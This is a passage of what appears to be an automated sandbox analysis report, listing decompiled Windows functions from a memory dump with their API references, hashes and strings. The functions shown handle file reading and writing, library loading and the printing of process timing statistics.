Part of subcall function 01231A96: _CxxThrowException.MSVCRT(?,0126D020), ref: 01231AB6

Part of subcall function 0124CA8D: __EH_prolog.LIBCMT ref: 0124CA92

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$ExceptionThrowmalloc
String ID:
API String ID: 3744649731-0
Opcode ID: b8a0c39cda0f74f998dde768b5e51a2cd014ea63e73cf04cfb11225ac1467198
Instruction ID: 80232d003b13309c5d925fa1436bd560eab9e022a0aec70ff2916a26af87139b
Opcode Fuzzy Hash: b8a0c39cda0f74f998dde768b5e51a2cd014ea63e73cf04cfb11225ac1467198
Instruction Fuzzy Hash: 97E01271A25527AFCB1CEF6C98016BD7AF9AF54214F10822E912AE26C0DFB04E519694

Uniqueness

Uniqueness Score: -1.00%

Function 012369E0 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E012369E0(void** __ecx, void* _a4, long _a8, intOrPtr* _a12) {
				long _v8;
				long _t12;
				signed int _t14;
				void** _t16;

				_t16 = __ecx;
				_push(__ecx);
				_t12 =  *0x1274090; // 0x400000
				if(_a8 > _t12) {
					_a8 = _t12;
				}
				_v8 = _v8 & 0x00000000;
				_t14 = WriteFile( *_t16, _a4, _a8,  &_v8, 0); // executed
				 *_a12 = _v8;
				return _t14 & 0xffffff00 | _t14 != 0x00000000;
			}

0x012369e0
0x012369e3
0x012369e4
0x012369ec
0x012369ee
0x012369ee
0x012369f7
0x01236a03
0x01236a11
0x01236a17

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 01236A03

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 9c15a8137c3279f18f8978525495d96da6bd1067d636501de5e8a2a323204426
Instruction ID: b1906e5190ba9136e371ba7becb3249ee601ae34c4d26faf87587a401d3c9a4b
Opcode Fuzzy Hash: 9c15a8137c3279f18f8978525495d96da6bd1067d636501de5e8a2a323204426
Instruction Fuzzy Hash: 7CE06575600208FFCB11CFA4D800B8E7BBABB08314F20C029F9089A290C335AA10DF50

Uniqueness

Uniqueness Score: -1.00%

Function 012368D4 Relevance: 1.5, APIs: 1, Instructions: 18
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E012368D4(void** __ecx, void* _a4, long _a8, intOrPtr* _a12) {
				long _v8;
				signed int _t11;

				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_t11 = ReadFile( *__ecx, _a4, _a8,  &_v8, 0); // executed
				 *_a12 = _v8;
				return _t11 & 0xffffff00 | _t11 != 0x00000000;
			}

0x012368d7
0x012368de
0x012368ea
0x012368f8
0x012368fe

APIs

ReadFile.KERNELBASE(000000FF,?,?,00000000,00000000,000000FF,?,01236616,00000000,00004000,00000000,000000FF,?,?,?), ref: 012368EA

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 82b38cbb7c1bed9a2c9942b998ab45800a59f53b7de3a158c3da5237cc594241
Instruction ID: 79f91caef3d0cc3010136b7ddb582152e1d509ad782f3eed52bc9e9478cff83c
Opcode Fuzzy Hash: 82b38cbb7c1bed9a2c9942b998ab45800a59f53b7de3a158c3da5237cc594241
Instruction Fuzzy Hash: 35E0EC75200208FBCB11CF90CD05F8E7BBABB49754F208058E905961A4D376AA14EB50

Uniqueness

Uniqueness Score: -1.00%

Function 0123D597 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0123D597(void** __ecx) {
				void* _t3;
				signed int _t4;
				signed int _t5;
				signed int* _t8;

				_t8 = __ecx;
				_t3 =  *__ecx;
				if(_t3 != 0) {
					_t4 = FindCloseChangeNotification(_t3); // executed
					_t5 = _t4 & 0xffffff00 | _t4 != 0x00000000;
					if(_t5 != 0) {
						 *_t8 =  *_t8 & 0x00000000;
						return _t5;
					}
					return _t5;
				} else {
					return 1;
				}
			}

0x0123d598
0x0123d59a
0x0123d59e
0x0123d5a5
0x0123d5ad
0x0123d5b2
0x0123d5b4
0x00000000
0x0123d5b4
0x0123d5b8
0x0123d5a0
0x0123d5a3
0x0123d5a3

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,0123D520,?,00000000,?,?,00000000,00000000,761F89A0), ref: 0123D5A5

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f5b2848c969663041d764f2cc35f3fb8c6dc609cf8527354616248f85622f5b7
Instruction ID: 2dc3453cd2edcc96bc9eec93e34414356f0329d88131c29570fd0ed3ac448904
Opcode Fuzzy Hash: f5b2848c969663041d764f2cc35f3fb8c6dc609cf8527354616248f85622f5b7
Instruction Fuzzy Hash: B3D022B213032387DF305E7CB4083C223DC2F80226B018449F880CB2C1D720C8C28A90

Uniqueness

Uniqueness Score: -1.00%

Function 01236497 Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01236497(void** __ecx) {
				void* _t1;
				int _t3;
				signed int* _t6;

				_t6 = __ecx;
				_t1 =  *__ecx;
				if(_t1 == 0xffffffff) {
					L4:
					return 1;
				} else {
					_t3 = FindCloseChangeNotification(_t1); // executed
					if(_t3 != 0) {
						 *_t6 =  *_t6 | 0xffffffff;
						goto L4;
					} else {
						return 0;
					}
				}
			}

0x01236498
0x0123649a
0x0123649f
0x012364b3
0x012364b6
0x012364a1
0x012364a2
0x012364aa
0x012364b0
0x00000000
0x012364ac
0x012364af
0x012364af
0x012364aa

APIs

FindCloseChangeNotification.KERNELBASE(00000000,?,012363FA,000000FF,00000009,00000001), ref: 012364A2

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 5f6ae34c11fb509456a17e03dff34a44d36fcf445099f41aa0c7da82a0d24109
Instruction ID: ddea0bc4fa77f044d91f75454d7006892f0300a6a3ce0f042cab68b49e131452
Opcode Fuzzy Hash: 5f6ae34c11fb509456a17e03dff34a44d36fcf445099f41aa0c7da82a0d24109
Instruction Fuzzy Hash: 31D01275524623569A751D3DF8495C237DD9B423343214B4AFAF1C32E5D36589834690

Uniqueness

Uniqueness Score: -1.00%

Function 01234A07 Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01234A07(struct HINSTANCE__** __ecx) {
				struct HINSTANCE__* _t1;
				int _t3;
				signed int* _t6;

				_t6 = __ecx;
				_t1 =  *__ecx;
				if(_t1 == 0) {
					L4:
					return 1;
				} else {
					_t3 = FreeLibrary(_t1); // executed
					if(_t3 != 0) {
						 *_t6 =  *_t6 & 0x00000000;
						goto L4;
					} else {
						return 0;
					}
				}
			}

0x01234a08
0x01234a0a
0x01234a0e
0x01234a22
0x01234a25
0x01234a10
0x01234a11
0x01234a19
0x01234a1f
0x00000000
0x01234a1b
0x01234a1e
0x01234a1e
0x01234a19

APIs

FreeLibrary.KERNELBASE(00000000,00000004,01234A59,?,0124BBA3,00000000,00000000,?,00000000,00000000,?,?,0124BEF5,00000000,00000000,?), ref: 01234A11

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: d5a8f523d68a3a5aecaa8681db3d0ed60003f6debe71846c6e20b3380dbae8df
Instruction ID: 82b1523452c3cd3933dc2f83d76d86a6e4e41d733b73a1253cf1d0c24b231255
Opcode Fuzzy Hash: d5a8f523d68a3a5aecaa8681db3d0ed60003f6debe71846c6e20b3380dbae8df
Instruction Fuzzy Hash: B8D0127223426247DF706D2DB4147D323DC9F45721F118499FA40D3145E661CC835794

Uniqueness

Uniqueness Score: -1.00%

Function 01234A51 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01234A51(struct HINSTANCE__** __ecx, void* __eflags, WCHAR* _a4) {
				void* _t4;
				struct HINSTANCE__* _t5;
				struct HINSTANCE__** _t10;

				_t10 = __ecx;
				_t4 = E01234A07(__ecx);
				if(_t4 != 0) {
					_t5 = LoadLibraryW(_a4); // executed
					 *_t10 = _t5;
					return 0 | _t5 != 0x00000000;
				}
				return _t4;
			}

0x01234a52
0x01234a54
0x01234a5b
0x01234a61
0x01234a69
0x00000000
0x01234a70
0x01234a73

APIs

Part of subcall function 01234A07: FreeLibrary.KERNELBASE(00000000,00000004,01234A59,?,0124BBA3,00000000,00000000,?,00000000,00000000,?,?,0124BEF5,00000000,00000000,?), ref: 01234A11

LoadLibraryW.KERNELBASE(00000000,?,0124BBA3,00000000,00000000,?,00000000,00000000,?,?,0124BEF5,00000000,00000000,?), ref: 01234A61

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Library$FreeLoad
String ID:
API String ID: 534179979-0
Opcode ID: 33810c74b71cb26794c406796c6d93ccff7efc0d12e2852e6d85a541277a5038
Instruction ID: 872c20a484beaa86debc4ea79dbf92c0d4accbcbc3f55d1f7ea4ba9aeff77169
Opcode Fuzzy Hash: 33810c74b71cb26794c406796c6d93ccff7efc0d12e2852e6d85a541277a5038
Instruction Fuzzy Hash: 92C012B201435347C7246F38A4244DB7BD55F59350705886AA585D31A0DF32C896DB54

Uniqueness

Uniqueness Score: -1.00%

Function 012369B3 Relevance: 1.5, APIs: 1, Instructions: 9
timeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E012369B3(void** __ecx, FILETIME* _a4, FILETIME* _a8, FILETIME* _a12) {
				signed int _t4;

				_t4 = SetFileTime( *__ecx, _a4, _a8, _a12); // executed
				asm("sbb eax, eax");
				return  ~( ~_t4);
			}

0x012369c1
0x012369c9
0x012369cd

APIs

SetFileTime.KERNELBASE(?,?,?,?,0123FEB2,00000000,00000000,00000000), ref: 012369C1

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 2289eab55aebb6772c4c2d6b3de707779ef5c7bc26adcec8f865a71192f2de8b
Instruction ID: e8af37804483a86ec2004a382cc15a2e08649b3d7fd17dcada7421293127a9ed
Opcode Fuzzy Hash: 2289eab55aebb6772c4c2d6b3de707779ef5c7bc26adcec8f865a71192f2de8b
Instruction Fuzzy Hash: F0C04C36158206FF8F120F70D808D1ABBA2BB95311F10D918F255C50B4D7328024EB02

Uniqueness

Uniqueness Score: -1.00%

Function 01236A5F Relevance: 1.5, APIs: 1, Instructions: 6
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E01236A5F(void** __ecx) {
				signed int _t1;

				_t1 = SetEndOfFile( *__ecx); // executed
				asm("sbb eax, eax");
				return  ~( ~_t1);
			}

0x01236a61
0x01236a69
0x01236a6d

APIs

SetEndOfFile.KERNELBASE(?,01236AA4,?,?,?), ref: 01236A61

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: ff267f54801c6b04c649c9b29c7c34f54e7b1dd0fb4a5d9f13a9624fba8dcb92
Instruction ID: 1e413d0d895eaa603e4a68c2c21ea00cc7be3601b687801a4cf645170a3ccd23
Opcode Fuzzy Hash: ff267f54801c6b04c649c9b29c7c34f54e7b1dd0fb4a5d9f13a9624fba8dcb92
Instruction Fuzzy Hash: 5DA001702E515A9A8E211A34E8098243AA1AB527067205AA4A006C94F9DA324458AA01

Uniqueness

Uniqueness Score: -1.00%

Function 0125A336 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0125A336(intOrPtr* __ecx) {
				int _t1;

				 *__ecx = 0x126aa18; // executed
				_t1 = SetConsoleCtrlHandler(E0125A2FA, 0); // executed
				return _t1;
			}

0x0125a33d
0x0125a343
0x0125a349

APIs

SetConsoleCtrlHandler.KERNELBASE(Function_0002A2FA,00000000,0125A322), ref: 0125A343

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: bd2b71a9aa46c8fd2d120b34dca6e97abe816793bb85b65ded9e46ede22d770d
Instruction ID: 03d6758821462aad79a3d7603e887622b8c0d420386cd4ba34ff31cdc65ac9dc
Opcode Fuzzy Hash: bd2b71a9aa46c8fd2d120b34dca6e97abe816793bb85b65ded9e46ede22d770d
Instruction Fuzzy Hash: 14B01230190300D6CE100B546D0B70435209744700F108044D0016A1D0C27104418710

Uniqueness

Uniqueness Score: -1.00%

Function 0124CCB3 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E0124CCB3(void** __ecx) {
				unsigned int _t7;
				signed int _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t15;
				void* _t23;
				void** _t25;

				_t25 = __ecx;
				_t7 =  *(__ecx + 8);
				if( *((intOrPtr*)(__ecx + 4)) == _t7) {
					_t15 = (_t7 >> 2) + _t7 + 1;
					_t8 = 0x5d1745d;
					if(_t15 <= 0x5d1745d) {
						_t8 = _t15;
					}
					_push(_t8 * 0x2c); // executed
					_t10 = E01231A96(); // executed
					_t23 = _t10;
					_t11 = _t25[1];
					if(_t11 != 0) {
						_t11 = memcpy(_t23,  *_t25, _t11 * 0x2c);
					}
					_t12 = E01231ABD(_t11,  *_t25);
					 *_t25 = _t23;
					_t25[2] = _t15;
					return _t12;
				}
				return _t7;
			}

0x0124ccb4
0x0124ccb6
0x0124ccbc
0x0124ccc5
0x0124ccc9
0x0124ccd0
0x0124ccd2
0x0124ccd2
0x0124ccd7
0x0124ccd8
0x0124ccdd
0x0124ccdf
0x0124cce5
0x0124ccee
0x0124ccf3
0x0124ccf8
0x0124ccfe
0x0124cd00
0x00000000
0x0124cd04
0x0124cd06

APIs

memcpy.MSVCRT ref: 0124CCEE

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: ca5e173376c15d21bd8f7e61b5a4c36472b3a6621385084ada06a4c97b4d14bf
Instruction ID: e34a48272eb681d962a42a04b1e27d882e96ed4834d705d4dab2f215c21ee2df
Opcode Fuzzy Hash: ca5e173376c15d21bd8f7e61b5a4c36472b3a6621385084ada06a4c97b4d14bf
Instruction Fuzzy Hash: C2F082712152039FDB349F2DECC0827FBEDEF89614310853EE989C7650E621D8958B14

Uniqueness

Uniqueness Score: -1.00%

Function 01262CCD Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E01262CCD(void** __ecx) {
				unsigned int _t7;
				signed int _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t15;
				void* _t23;
				void** _t25;

				_t25 = __ecx;
				_t7 =  *(__ecx + 8);
				if( *((intOrPtr*)(__ecx + 4)) == _t7) {
					_t15 = (_t7 >> 2) + _t7 + 1;
					_t8 = 0x3fffffff;
					if(_t15 <= 0x3fffffff) {
						_t8 = _t15;
					}
					_push(_t8 << 2); // executed
					_t10 = E01231A96(); // executed
					_t23 = _t10;
					_t11 = _t25[1];
					if(_t11 != 0) {
						_t11 = memcpy(_t23,  *_t25, _t11 << 2);
					}
					_t12 = E01231ABD(_t11,  *_t25);
					 *_t25 = _t23;
					_t25[2] = _t15;
					return _t12;
				}
				return _t7;
			}

0x01262cce
0x01262cd0
0x01262cd6
0x01262cdf
0x01262ce3
0x01262cea
0x01262cec
0x01262cec
0x01262cf1
0x01262cf2
0x01262cf7
0x01262cf9
0x01262cff
0x01262d08
0x01262d0d
0x01262d12
0x01262d18
0x01262d1a
0x00000000
0x01262d1e
0x01262d20

APIs

memcpy.MSVCRT ref: 01262D08

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 88255c2899e80aaee28af4e1276e3466935beabd509042203ca44ae3b5b0d35f
Instruction ID: ea8b82b4a2254b8d14e2ec3c90fee2c0ae36072b12112ed9888c25f9a3f4cedd
Opcode Fuzzy Hash: 88255c2899e80aaee28af4e1276e3466935beabd509042203ca44ae3b5b0d35f
Instruction Fuzzy Hash: 73F082722142129FA7309E19AC80C26B3EDEF943A13208A2EE999C3694E6319C92C750

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01260A10 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 173
libraryloadertimeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E01260A10() {
				int _v8;
				int _v12;
				struct HINSTANCE__* _v16;
				long _v20;
				int _v24;
				char _v28;
				struct _FILETIME _v36;
				struct _FILETIME _v44;
				void* _v48;
				struct _FILETIME _v52;
				intOrPtr _v56;
				char _v60;
				long _v68;
				intOrPtr _v72;
				struct _FILETIME _v84;
				intOrPtr _v88;
				intOrPtr _v116;
				void _v124;
				void* __ebp;
				int _t47;
				struct HINSTANCE__* _t51;
				struct _IO_FILE** _t72;
				void* _t74;
				struct _IO_FILE** _t76;
				struct HINSTANCE__* _t81;
				struct _IO_FILE** _t99;
				void* _t104;
				_Unknown_base(*)()* _t113;
				intOrPtr* _t120;
				intOrPtr _t123;

				_t47 = GetProcessTimes(GetCurrentProcess(),  &_v52,  &_v84,  &_v36,  &_v44);
				if(_t47 != 0) {
					E0123877D(_t47,  &_v60);
					memset( &_v124, 0, 0x28);
					_v8 = 0;
					_v12 = 0;
					_v28 = 0;
					_v24 = 0;
					_t51 = GetModuleHandleW(L"kernel32.dll");
					_v16 = _t51;
					_t113 = GetProcAddress(_t51, "K32GetProcessMemoryInfo");
					if(_t113 != 0) {
						L4:
						_v8 =  *_t113(GetCurrentProcess(),  &_v124, 0x28);
						L5:
						_t120 = GetProcAddress(_v16, "QueryProcessCycleTime");
						_t132 = _t120;
						if(_t120 != 0) {
							_v12 =  *_t120(GetCurrentProcess(),  &_v28);
						}
						_v20 = _v36.dwLowDateTime;
						_v16 = _v36.dwHighDateTime;
						_v68 = _v44.dwLowDateTime;
						_t123 = _v44.dwHighDateTime;
						_v72 = _v56;
						_t111 = 0;
						_t87 = _v72;
						_t116 = _v60 - _v52.dwLowDateTime;
						asm("sbb ebx, ecx");
						E01260C38(0, _t132, _v20, _v16, _v60 - _v52.dwLowDateTime, _v72);
						_t133 = _v12;
						if(_v12 != 0) {
							_t72 =  *0x12746fc; // 0x1274440
							fputs(" ",  *_t72);
							_t74 = E01263B80(_v28, _v24, 0xf4240, 0);
							_push(0);
							_push(_t74);
							_t111 = 0x20;
							_t104 = 0x16;
							E01260BE8(_t104, 0x20, _t133);
							_t76 =  *0x12746fc; // 0x1274440
							fputs(" MCycles",  *_t76);
						}
						E01260C38(_t111, _t133, _v68, _t123, _t116, _t87);
						asm("adc esi, [ebp-0xc]");
						E01260C38(_t111, _t133, _v68 + _v20, _t123, _t116, _t87);
						_t134 = _v8;
						if(_v8 != 0) {
							_push(0);
							_push(_v88);
							E01260D5C("Virtual ", _t134);
						}
						E01260C38(_t111, _t134, _t116, _t87, _t116, _t87);
						_t135 = _v8;
						if(_v8 != 0) {
							_push(0);
							_push(_v116);
							E01260D5C("Physical", _t135);
						}
						_t99 =  *0x12746fc; // 0x1274440
						return E01231CAE(_t99);
					}
					_t81 = LoadLibraryW(L"Psapi.dll");
					if(_t81 == 0) {
						goto L5;
					}
					_t113 = GetProcAddress(_t81, "GetProcessMemoryInfo");
					if(_t113 == 0) {
						goto L5;
					}
					goto L4;
				}
				return _t47;
			}

0x01260a2d
0x01260a35
0x01260a41
0x01260a4f
0x01260a57
0x01260a5a
0x01260a5d
0x01260a65
0x01260a68
0x01260a74
0x01260a7f
0x01260a83
0x01260aa2
0x01260ab1
0x01260ab4
0x01260abe
0x01260ac0
0x01260ac2
0x01260ad1
0x01260ad1
0x01260ae5
0x01260aeb
0x01260afa
0x01260afd
0x01260b0d
0x01260b15
0x01260b17
0x01260b19
0x01260b1b
0x01260b2a
0x01260b2f
0x01260b33
0x01260b35
0x01260b41
0x01260b56
0x01260b5b
0x01260b5c
0x01260b5f
0x01260b61
0x01260b62
0x01260b67
0x01260b73
0x01260b7a
0x01260b86
0x01260b98
0x01260b9d
0x01260ba4
0x01260ba7
0x01260ba9
0x01260baf
0x01260bb2
0x01260bb2
0x01260bc0
0x01260bc5
0x01260bc8
0x01260bca
0x01260bd0
0x01260bd3
0x01260bd3
0x01260bd8
0x00000000
0x01260be5
0x01260a8a
0x01260a92
0x00000000
0x00000000
0x01260a9c
0x01260aa0
0x00000000
0x00000000
0x00000000
0x01260aa0
0x01260be7

APIs

GetCurrentProcess.KERNEL32(0126C698,?,00000000,?), ref: 01260A26
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0125FAE7,00000000), ref: 01260A2D

Part of subcall function 0123877D: GetSystemTimeAsFileTime.KERNEL32(?,01260A46,00000000,00000000,761F89A0), ref: 0123877E

memset.MSVCRT ref: 01260A4F
GetModuleHandleW.KERNEL32(kernel32.dll,00000000,00000000,761F89A0), ref: 01260A68
GetProcAddress.KERNEL32(00000000,K32GetProcessMemoryInfo), ref: 01260A7D
LoadLibraryW.KERNEL32(Psapi.dll,?,?,?,?,?,?,?,?,?,?,?,?,?,0125FAE7,00000000), ref: 01260A8A
GetProcAddress.KERNEL32(00000000,GetProcessMemoryInfo), ref: 01260A9A
GetCurrentProcess.KERNEL32(?,00000028,?,?,?,?,?,?,?,?,?,?,?,?,?,0125FAE7), ref: 01260AA8
GetProcAddress.KERNEL32(?,QueryProcessCycleTime), ref: 01260ABC
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0125FAE7,00000000), ref: 01260AC8
fputs.MSVCRT ref: 01260B41
__aulldiv.LIBCMT ref: 01260B56
fputs.MSVCRT ref: 01260B73

Strings

GetProcessMemoryInfo, xrefs: 01260A94
Psapi.dll, xrefs: 01260A85
kernel32.dll, xrefs: 01260A60
K32GetProcessMemoryInfo, xrefs: 01260A77
MCycles, xrefs: 01260B6E
F#v, xrefs: 01260B3A, 01260B6C
User , xrefs: 01260B7E
QueryProcessCycleTime, xrefs: 01260AB4
Global , xrefs: 01260BBB
Process, xrefs: 01260B8E
Kernel , xrefs: 01260B1D
Physical, xrefs: 01260BCB
Virtual , xrefs: 01260BAA

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Process$AddressCurrentProc$Timefputs$FileHandleLibraryLoadModuleSystemTimes__aulldivmemset
String ID: F#v$ MCycles$GetProcessMemoryInfo$Global $K32GetProcessMemoryInfo$Kernel $Physical$Process$Psapi.dll$QueryProcessCycleTime$User $Virtual $kernel32.dll
API String ID: 2419529047-2892289462
Opcode ID: af9ec2a000bc97e921db54ca43732dc9157b6f5a0a61cf343ed602eea54098b0
Instruction ID: 0f6d4b2f2ef7a0e512bea5157c598e653ef0626adbbbacaef36fbda27cac49ad
Opcode Fuzzy Hash: af9ec2a000bc97e921db54ca43732dc9157b6f5a0a61cf343ed602eea54098b0
Instruction Fuzzy Hash: FA513E71E20219AFDF14EFE5DC88DAEBBBDFB58200B14852AF601F3190DA705D809B64

Uniqueness

Uniqueness Score: -1.00%

Function 01237DF4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 76
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E01237DF4(WCHAR* __ecx, signed int* __edx, intOrPtr* _a4, intOrPtr* _a8) {
				signed int _v5;
				WCHAR* _v12;
				long _v16;
